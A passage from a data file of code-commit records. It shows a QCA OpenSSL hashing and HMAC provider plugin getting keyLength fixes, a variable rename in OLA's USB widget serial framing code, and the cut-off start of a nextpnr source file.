a;\n\t}\n};\n\nclass MD4Context : public QCA::HashContext\n{\npublic:\n\tMD4_CTX c;\n\n\tMD4Context(QCA::Provider *p) : HashContext(p, \"md4\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD4Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD4_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD4_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD4_DIGEST_LENGTH);\n\t\tMD4_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass MD5Context : public QCA::HashContext\n{\npublic:\n\tMD5_CTX c;\n\n\tMD5Context(QCA::Provider *p) : HashContext(p, \"md5\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD5Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD5_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD5_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD5_DIGEST_LENGTH);\n\t\tMD5_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass SHA0Context : public QCA::HashContext\n{\npublic:\n\tSHA_CTX c;\n\n\tSHA0Context(QCA::Provider *p) : HashContext(p, \"sha0\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new SHA0Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tSHA_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tSHA_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(SHA_DIGEST_LENGTH);\n\t\tSHA_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass SHA1Context : public QCA::HashContext\n{\npublic:\n\tSHA_CTX c;\n\n\tSHA1Context(QCA::Provider *p) : HashContext(p, \"sha1\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new SHA1Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tSHA1_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tSHA1_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(SHA_DIGEST_LENGTH);\n\t\tSHA1_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass RIPEMD160Context : public QCA::HashContext\n{\npublic:\n\tRIPEMD160_CTX c;\n\n\tRIPEMD160Context(QCA::Provider *p) : HashContext(p, \"ripemd160\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new RIPEMD160Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tRIPEMD160_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tRIPEMD160_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray result(RIPEMD160_DIGEST_LENGTH);\n\t\tRIPEMD160_Final((unsigned char *)result.data(), &c);\n\t\treturn result;\n\t}\n};\n\nclass HMACMD5Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACMD5Context(QCA::Provider *p) : MACContext( p, \"hmac(md5)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACMD5Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_md5(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( MD5_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\n\nclass HMACSHA1Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACSHA1Context(QCA::Provider *p) : MACContext( p, \"hmac(sha1)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACSHA1Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_sha1(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( SHA_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\nclass HMACRIPEMD160Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACRIPEMD160Context(QCA::Provider *p) : MACContext( p, \"hmac(ripemd160)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACRIPEMD160Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_ripemd160(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( RIPEMD160_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\n\n\nclass opensslProvider : public QCA::Provider\n{\npublic:\n\tvoid init()\n\t{\n\t}\n\n\tQString name() const\n\t{\n\t\treturn \"qca-openssl\";\n\t}\n\n\tQStringList features() const\n\t{\n\t\tQStringList list;\n\t\tlist += \"sha0\";\n\t\tlist += \"sha1\";\n\t\tlist += \"ripemd160\";\n\t\tlist += \"md2\";\n\t\tlist += \"md4\";\n\t\tlist += \"md5\";\n\t\tlist += \"hmac(md5)\";\n\t\tlist += \"hmac(sha1)\";\n\t\tlist += \"hmac(ripemd160)\";\n\t\treturn list;\n\t}\n\n\tContext *createContext(const QString &type)\n\t{\n\t\tif ( type == \"sha0\" )\n\t\t\treturn new SHA0Context( this );\n\t\telse if ( type == \"sha1\" )\n\t\t\treturn new SHA1Context( this );\n\t\telse if ( type == \"ripemd160\" )\n\t\t\treturn new RIPEMD160Context( this );\n\t\telse if ( type == \"md2\" )\n\t\t\treturn new MD2Context( this );\n\t\telse if ( type == \"md4\" )\n\t\t\treturn new MD4Context( this );\n\t\telse if ( type == \"md5\" )\n\t\t\treturn new MD5Context( this );\n\t\telse if ( type == \"hmac(md5)\" )\n\t\t\treturn new HMACMD5Context( this );\n\t\telse if ( type == \"hmac(sha1)\" )\n\t\t\treturn new HMACSHA1Context( this );\n\t\telse if ( type == \"hmac(ripemd160)\" )\n\t\t\treturn new HMACRIPEMD160Context( this );\n\t\telse\n\t\t\treturn 0;\n\t}\n};\n\nQCA_EXPORT_PLUGIN(opensslProvider);\n<commit_msg>KeyLength fixes.<commit_after>\/*\n * Copyright (C) 2004 Justin Karneges\n * Copyright (C) 2004 Brad Hards <bradh@frogmouth.net>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n *\/\n#include \"qcaprovider.h\"\n#include <qstringlist.h>\n#include <openssl\/sha.h>\n#include <openssl\/md2.h>\n#include <openssl\/md4.h>\n#include <openssl\/md5.h>\n#include <openssl\/ripemd.h>\n#include <openssl\/hmac.h>\n\nclass MD2Context : public QCA::HashContext\n{\npublic:\n\tMD2_CTX c;\n\n\tMD2Context(QCA::Provider *p) : HashContext(p, \"md2\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD2Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD2_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD2_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD2_DIGEST_LENGTH);\n\t\tMD2_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass MD4Context : public QCA::HashContext\n{\npublic:\n\tMD4_CTX c;\n\n\tMD4Context(QCA::Provider *p) : HashContext(p, \"md4\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD4Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD4_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD4_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD4_DIGEST_LENGTH);\n\t\tMD4_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass MD5Context : public QCA::HashContext\n{\npublic:\n\tMD5_CTX c;\n\n\tMD5Context(QCA::Provider *p) : HashContext(p, \"md5\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD5Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD5_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD5_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD5_DIGEST_LENGTH);\n\t\tMD5_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass SHA0Context : public QCA::HashContext\n{\npublic:\n\tSHA_CTX c;\n\n\tSHA0Context(QCA::Provider *p) : HashContext(p, \"sha0\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new SHA0Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tSHA_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tSHA_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(SHA_DIGEST_LENGTH);\n\t\tSHA_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass SHA1Context : public QCA::HashContext\n{\npublic:\n\tSHA_CTX c;\n\n\tSHA1Context(QCA::Provider *p) : HashContext(p, \"sha1\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new SHA1Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tSHA1_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tSHA1_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(SHA_DIGEST_LENGTH);\n\t\tSHA1_Final((unsigned char *)a.data(), &c);\n\t\treturn a;\n\t}\n};\n\nclass RIPEMD160Context : public QCA::HashContext\n{\npublic:\n\tRIPEMD160_CTX c;\n\n\tRIPEMD160Context(QCA::Provider *p) : HashContext(p, \"ripemd160\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new RIPEMD160Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tRIPEMD160_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tRIPEMD160_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray result(RIPEMD160_DIGEST_LENGTH);\n\t\tRIPEMD160_Final((unsigned char *)result.data(), &c);\n\t\treturn result;\n\t}\n};\n\nclass HMACMD5Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACMD5Context(QCA::Provider *p) : MACContext( p, \"hmac(md5)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACMD5Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_md5(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\t\treturn anyKeyLength();\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( MD5_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\n\nclass HMACSHA1Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACSHA1Context(QCA::Provider *p) : MACContext( p, \"hmac(sha1)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACSHA1Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_sha1(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\t\treturn anyKeyLength();\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( SHA_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\nclass HMACRIPEMD160Context : public QCA::MACContext\n{\npublic:\n\tHMAC_CTX c;\n\n\tHMACRIPEMD160Context(QCA::Provider *p) : MACContext( p, \"hmac(ripemd160)\" )\n\t{\n\t\tHMAC_CTX_init( &c );\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new HMACRIPEMD160Context(*this);\n\t}\n\n\tvoid setup(const QCA::SymmetricKey &key)\n\t{\n\t\tHMAC_Init_ex( &c, key.data(), key.size(), EVP_ripemd160(), 0 );\n\t}\n\n\tQCA::KeyLength keyLength() const\n\t{\n\t\treturn anyKeyLength();\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tHMAC_Update( &c, (unsigned char *)a.data(), a.size() );\n\t}\n\n\tvoid final( QSecureArray *out)\n\t{\n\t\tunsigned int outSize;\n\t\tout->resize( RIPEMD160_DIGEST_LENGTH );\n\t\tHMAC_Final(&c, (unsigned char *)out->data(), &(outSize) );\n\t\tHMAC_CTX_cleanup(&c);\n\t}\n};\n\n\n\nclass opensslProvider : public QCA::Provider\n{\npublic:\n\tvoid init()\n\t{\n\t}\n\n\tQString name() const\n\t{\n\t\treturn \"qca-openssl\";\n\t}\n\n\tQStringList features() const\n\t{\n\t\tQStringList list;\n\t\tlist += \"sha0\";\n\t\tlist += \"sha1\";\n\t\tlist += \"ripemd160\";\n\t\tlist += \"md2\";\n\t\tlist += \"md4\";\n\t\tlist += \"md5\";\n\t\tlist += \"hmac(md5)\";\n\t\tlist += \"hmac(sha1)\";\n\t\tlist += \"hmac(ripemd160)\";\n\t\treturn list;\n\t}\n\n\tContext *createContext(const QString &type)\n\t{\n\t\tif ( type == \"sha0\" )\n\t\t\treturn new SHA0Context( this );\n\t\telse if ( type == \"sha1\" )\n\t\t\treturn new SHA1Context( this );\n\t\telse if ( type == \"ripemd160\" )\n\t\t\treturn new RIPEMD160Context( this );\n\t\telse if ( type == \"md2\" )\n\t\t\treturn new MD2Context( this );\n\t\telse if ( type == \"md4\" )\n\t\t\treturn new MD4Context( this );\n\t\telse if ( type == \"md5\" )\n\t\t\treturn new MD5Context( this );\n\t\telse if ( type == \"hmac(md5)\" )\n\t\t\treturn new HMACMD5Context( this );\n\t\telse if ( type == \"hmac(sha1)\" )\n\t\t\treturn new HMACSHA1Context( this );\n\t\telse if ( type == \"hmac(ripemd160)\" )\n\t\t\treturn new HMACRIPEMD160Context( this );\n\t\telse\n\t\t\treturn 0;\n\t}\n};\n\nQCA_EXPORT_PLUGIN(opensslProvider);\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * UsbWidget.cpp\n * Read and Write to a USB Widget.\n * Copyright (C) 2010 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <strings.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <termios.h>\n#include <unistd.h>\n#include <string>\n#include \"ola\/Logging.h\"\n#include \"plugins\/usbpro\/UsbWidget.h\"\n\nnamespace ola {\nnamespace plugin {\nnamespace usbpro {\n\n\nUsbWidget::UsbWidget(ola::network::ConnectedSocket *socket)\n : m_callback(NULL),\n m_socket(socket),\n m_state(PRE_SOM),\n m_bytes_received(0) {\n m_socket->SetOnData(NewCallback(this, &UsbWidget::SocketReady));\n}\n\n\nUsbWidget::~UsbWidget() {\n if (m_callback)\n delete m_callback;\n \/\/ don't delete because ownership is transferred to the ss so that device\n \/\/ removal works correctly. If you delete the socket the OnClose closure will\n \/\/ be deleted, which breaks if it's already running.\n m_socket->Close();\n m_socket = NULL;\n}\n\n\n\/**\n * Set the closure to be called when we receive a message from the widget\n * @param callback the closure to run, ownership is transferred.\n *\/\nvoid UsbWidget::SetMessageHandler(\n ola::Callback3<void, uint8_t, const uint8_t*, unsigned int> *callback) {\n if (m_callback)\n delete m_callback;\n m_callback = callback;\n}\n\n\n\/*\n * Set the onRemove handler\n *\/\nvoid UsbWidget::SetOnRemove(ola::SingleUseCallback0<void> *on_close) {\n m_socket->SetOnClose(on_close);\n}\n\n\n\/*\n * Read data from the widget\n *\/\nvoid UsbWidget::SocketReady() {\n while (m_socket->DataRemaining() > 0) {\n ReceiveMessage();\n }\n}\n\n\n\/*\n * Send the msg\n * @return true if successful, false otherwise\n *\/\nbool UsbWidget::SendMessage(uint8_t label,\n const uint8_t *data,\n unsigned int length) const {\n if (length && !data)\n return false;\n\n message_header header;\n header.som = SOM;\n header.label = label;\n header.len = length & 0xFF;\n header.len_hi = (length & 0xFF00) >> 8;\n\n \/\/ should really use writev here instead\n ssize_t bytes_sent = m_socket->Send(reinterpret_cast<uint8_t*>(&header),\n sizeof(header));\n if (bytes_sent != sizeof(header))\n \/\/ we've probably screwed framing at this point\n return false;\n\n if (length) {\n unsigned int bytes_sent = m_socket->Send(data, length);\n if (bytes_sent != length)\n \/\/ we've probably screwed framing at this point\n return false;\n }\n\n uint8_t eom = EOM;\n bytes_sent = m_socket->Send(&eom, sizeof(EOM));\n if (bytes_sent != sizeof(EOM))\n return false;\n return true;\n}\n\n\n\/**\n * Open a path and apply the settings required for talking to widgets.\n *\/\nola::network::ConnectedSocket *UsbWidget::OpenDevice(\n const string &path) {\n struct termios newtio;\n int fd = open(path.data(), O_RDWR | O_NONBLOCK | O_NOCTTY);\n\n if (fd == -1) {\n OLA_WARN << \"Failed to open \" << path << \" \" << strerror(errno);\n return NULL;\n }\n\n bzero(&newtio, sizeof(newtio)); \/\/ clear struct for new port settings\n cfsetispeed(&newtio, B115200);\n cfsetospeed(&newtio, B115200);\n tcsetattr(fd, TCSANOW, &newtio);\n\n return new ola::network::DeviceSocket(fd);\n}\n\n\n\/*\n * Read the data and handle the messages.\n *\/\nvoid UsbWidget::ReceiveMessage() {\n unsigned int cnt, packet_length;\n\n switch (m_state) {\n case PRE_SOM:\n do {\n m_socket->Receive(&m_header.som, 1, cnt);\n if (cnt != 1)\n return;\n } while (m_header.som != SOM);\n m_state = RECV_LABEL;\n case RECV_LABEL:\n m_socket->Receive(&m_header.label, 1, cnt);\n if (cnt != 1)\n return;\n m_state = RECV_SIZE_LO;\n case RECV_SIZE_LO:\n m_socket->Receive(&m_header.len, 1, cnt);\n if (cnt != 1)\n return;\n m_state = RECV_SIZE_HI;\n case RECV_SIZE_HI:\n m_socket->Receive(&m_header.len_hi, 1, cnt);\n if (cnt != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n if (packet_length == 0) {\n m_state = RECV_EOM;\n return;\n } else if (packet_length > MAX_DATA_SIZE) {\n m_state = PRE_SOM;\n return;\n }\n\n m_bytes_received = 0;\n m_state = RECV_BODY;\n case RECV_BODY:\n packet_length = (m_header.len_hi << 8) + m_header.len;\n m_socket->Receive(\n reinterpret_cast<uint8_t*>(&m_recv_buffer) + m_bytes_received,\n packet_length - m_bytes_received,\n cnt);\n\n if (!cnt)\n return;\n\n m_bytes_received += cnt;\n if (m_bytes_received != packet_length)\n return;\n\n m_state = RECV_EOM;\n case RECV_EOM:\n \/\/ check this is a valid frame with an end byte\n uint8_t eom;\n m_socket->Receive(&eom, 1, cnt);\n if (cnt != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n\n if (eom == EOM && m_callback)\n m_callback->Run(m_header.label,\n packet_length ? m_recv_buffer : NULL,\n packet_length);\n m_state = PRE_SOM;\n }\n return;\n}\n} \/\/ usbpro\n} \/\/ plugin\n} \/\/ ola\n<commit_msg> * fix a variable name<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * UsbWidget.cpp\n * Read and Write to a USB Widget.\n * Copyright (C) 2010 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <strings.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <termios.h>\n#include <unistd.h>\n#include <string>\n#include \"ola\/Logging.h\"\n#include \"plugins\/usbpro\/UsbWidget.h\"\n\nnamespace ola {\nnamespace plugin {\nnamespace usbpro {\n\n\nUsbWidget::UsbWidget(ola::network::ConnectedSocket *socket)\n : m_callback(NULL),\n m_socket(socket),\n m_state(PRE_SOM),\n m_bytes_received(0) {\n m_socket->SetOnData(NewCallback(this, &UsbWidget::SocketReady));\n}\n\n\nUsbWidget::~UsbWidget() {\n if (m_callback)\n delete m_callback;\n \/\/ don't delete because ownership is transferred to the ss so that device\n \/\/ removal works correctly. If you delete the socket the OnClose closure will\n \/\/ be deleted, which breaks if it's already running.\n m_socket->Close();\n m_socket = NULL;\n}\n\n\n\/**\n * Set the closure to be called when we receive a message from the widget\n * @param callback the closure to run, ownership is transferred.\n *\/\nvoid UsbWidget::SetMessageHandler(\n ola::Callback3<void, uint8_t, const uint8_t*, unsigned int> *callback) {\n if (m_callback)\n delete m_callback;\n m_callback = callback;\n}\n\n\n\/*\n * Set the onRemove handler\n *\/\nvoid UsbWidget::SetOnRemove(ola::SingleUseCallback0<void> *on_close) {\n m_socket->SetOnClose(on_close);\n}\n\n\n\/*\n * Read data from the widget\n *\/\nvoid UsbWidget::SocketReady() {\n while (m_socket->DataRemaining() > 0) {\n ReceiveMessage();\n }\n}\n\n\n\/*\n * Send the msg\n * @return true if successful, false otherwise\n *\/\nbool UsbWidget::SendMessage(uint8_t label,\n const uint8_t *data,\n unsigned int length) const {\n if (length && !data)\n return false;\n\n message_header header;\n header.som = SOM;\n header.label = label;\n header.len = length & 0xFF;\n header.len_hi = (length & 0xFF00) >> 8;\n\n \/\/ should really use writev here instead\n ssize_t bytes_sent = m_socket->Send(reinterpret_cast<uint8_t*>(&header),\n sizeof(header));\n if (bytes_sent != sizeof(header))\n \/\/ we've probably screwed framing at this point\n return false;\n\n if (length) {\n unsigned int bytes_sent = m_socket->Send(data, length);\n if (bytes_sent != length)\n \/\/ we've probably screwed framing at this point\n return false;\n }\n\n uint8_t eom = EOM;\n bytes_sent = m_socket->Send(&eom, sizeof(EOM));\n if (bytes_sent != sizeof(EOM))\n return false;\n return true;\n}\n\n\n\/**\n * Open a path and apply the settings required for talking to widgets.\n *\/\nola::network::ConnectedSocket *UsbWidget::OpenDevice(\n const string &path) {\n struct termios newtio;\n int fd = open(path.data(), O_RDWR | O_NONBLOCK | O_NOCTTY);\n\n if (fd == -1) {\n OLA_WARN << \"Failed to open \" << path << \" \" << strerror(errno);\n return NULL;\n }\n\n bzero(&newtio, sizeof(newtio)); \/\/ clear struct for new port settings\n cfsetispeed(&newtio, B115200);\n cfsetospeed(&newtio, B115200);\n tcsetattr(fd, TCSANOW, &newtio);\n\n return new ola::network::DeviceSocket(fd);\n}\n\n\n\/*\n * Read the data and handle the messages.\n *\/\nvoid UsbWidget::ReceiveMessage() {\n unsigned int count, packet_length;\n\n switch (m_state) {\n case PRE_SOM:\n do {\n m_socket->Receive(&m_header.som, 1, count);\n if (count != 1)\n return;\n } while (m_header.som != SOM);\n m_state = RECV_LABEL;\n case RECV_LABEL:\n m_socket->Receive(&m_header.label, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_LO;\n case RECV_SIZE_LO:\n m_socket->Receive(&m_header.len, 1, count);\n if (count != 1)\n return;\n m_state = RECV_SIZE_HI;\n case RECV_SIZE_HI:\n m_socket->Receive(&m_header.len_hi, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n if (packet_length == 0) {\n m_state = RECV_EOM;\n return;\n } else if (packet_length > MAX_DATA_SIZE) {\n m_state = PRE_SOM;\n return;\n }\n\n m_bytes_received = 0;\n m_state = RECV_BODY;\n case RECV_BODY:\n packet_length = (m_header.len_hi << 8) + m_header.len;\n m_socket->Receive(\n reinterpret_cast<uint8_t*>(&m_recv_buffer) + m_bytes_received,\n packet_length - m_bytes_received,\n count);\n\n if (!count)\n return;\n\n m_bytes_received += count;\n if (m_bytes_received != packet_length)\n return;\n\n m_state = RECV_EOM;\n case RECV_EOM:\n \/\/ check this is a valid frame with an end byte\n uint8_t eom;\n m_socket->Receive(&eom, 1, count);\n if (count != 1)\n return;\n\n packet_length = (m_header.len_hi << 8) + m_header.len;\n\n if (eom == EOM && m_callback)\n m_callback->Run(m_header.label,\n packet_length ? m_recv_buffer : NULL,\n packet_length);\n m_state = PRE_SOM;\n }\n return;\n}\n} \/\/ usbpro\n} \/\/ plugin\n} \/\/ ola\n<|endoftext|>"} {"text":"<commit_before>\/*\n * nextpnr -- Next Generation Place and Route\n *\n * Copyright (C) 2018 Clifford Wolf <clifford@symbioticeda.com>\n * Copyright (C) 2018 David Shah <david@symbioticeda.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"cells.h\"\n#include \"design_utils.h\"\n#include \"log.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\n\nvoid add_port(const Context *ctx, CellInfo *cell, std::string name, PortType dir)\n{\n IdString id = ctx->id(name);\n cell->ports[id] = PortInfo{id, nullptr, dir};\n}\n\nstd::unique_ptr<CellInfo> create_ice_cell(Context *ctx, IdString type, std::string 